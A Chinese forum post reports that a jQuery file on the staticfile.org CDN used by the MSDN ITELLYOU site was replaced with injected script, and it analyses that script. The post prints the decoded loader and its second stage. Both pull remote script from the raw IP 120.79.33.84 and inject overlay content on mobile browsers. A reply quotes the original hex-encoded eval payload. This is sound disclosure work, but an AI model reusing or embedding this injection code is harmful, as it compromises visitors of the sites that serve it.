MSDN ITELLYOU 网站被劫持挂马？

今天发现内容菜单无法打开，打开 F12 发现 jQuery 对象报错，看了下 Network 发现 jquery 文件内容变成可疑内容：

https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js

终端内把可疑代码的 eval 换成 console.log ，排版看到内容如下

var c = function(u) {
        var d = document,
            e = d.createElement('script');
        e.type = 'text/javascript';
        e.src = u;
        d.getElementsByTagName('head')[0].appendChild(e);
    },
    s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2';
if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01');
if ((typeof M7f == 'undefined') || (M7f != s)) {
    M7f = s;
    c(s + Math.random());
}

看到挂马脚本还会插回一个内容正常的 jQuery 外，对于非 win 平台还加载一次 120.79.33.84:1616，请求一下看看：

!(function() {
    if (typeof MB7F2 == 'undefined') {
        MB7F2 = 1;
        var head = document.getElementsByTagName('head')[0];
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.onload = script.onreadystatechange = function() {
            if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") {
                var isMobile = {
                    Win: function() {
                        return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false
                    },
                    Qqb: function() {
                        return navigator.userAgent.match(/QQ/i) ? true : false
                    },
                    Phone: function() {
                        return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false
                    }
                };
                var bz = 0;
                if (isMobile.Win() || isMobile.Qqb()) {
                    bz = 0
                } else if (isMobile.Phone()) {
                    var slt = Math.floor(Math.random() * 1000000) + 1000;
                    bz = 1;
                    var nd = document.createElement("div");
                    nd.id = slt;
                    nd.style.position = "fixed";
                    nd.style.zIndex = "9999";
                    nd.style.width = "100%";
                    nd.style.height = "auto";
                    nd.style.bottom = "-6px";
                    nd.style.right = "0px";
                    document.body.insertBefore(nd, document.body.firstChild);
                    var slt = '#' + slt
                }
                var tu = "http://120.79.33.84:1616/mb1.php?id=lp01";
                var setcookies = function() {
                    var exp = new Date();
                    var value = exp.getTime();
                    exp.setTime(exp.getTime() + 3000 * 1000);
                    document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString()
                };
                var getCookie = function(d) {
                    var f = document.cookie;
                    var g = f.split("; ");
                    for (var e = 0; e < g.length; e++) {
                        var c = g[e].split("=");
                        if (c[0] == d) {
                            return c[1]
                        }
                    }
                    return 0
                };
                var mbbt = new Date();
                mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000;
                if ((bz != 0) && (mbbt > 81)) {
                    $(document).ready(function() {
                        $.ajax({
                            type: 'get',
                            url: tu + "&new=" + Math.random() + "&mblast=" + mbbt,
                            dataType: 'jsonp',
                            jsonp: "jsoncallback",
                            success: function(data) {
                                $(slt).html(data);
                                setcookies()
                            },
                            error: function() {}
                        })
                    })
                }
            }
        };
        script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2';
        head.appendChild(script)
    }
})();

因为 https 访问的，这些 http 地址实际都被挡了，jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN，而入口文件的 jquery.min.js 也是 https 的，而且挂马代码里面也针对性地重新引用 staticfile.org 文件。

因此怀疑是七牛 CDN 内部人员私自加料，或者 CDN 回源过程中被第三方定向劫持。

jo32

2018-12-24 12:45:15 +08:00

(function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F63646E2E73746174696366696C652E6F72672F6A71756572792F312E31302E322F6A71756572792E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})();

深圳复现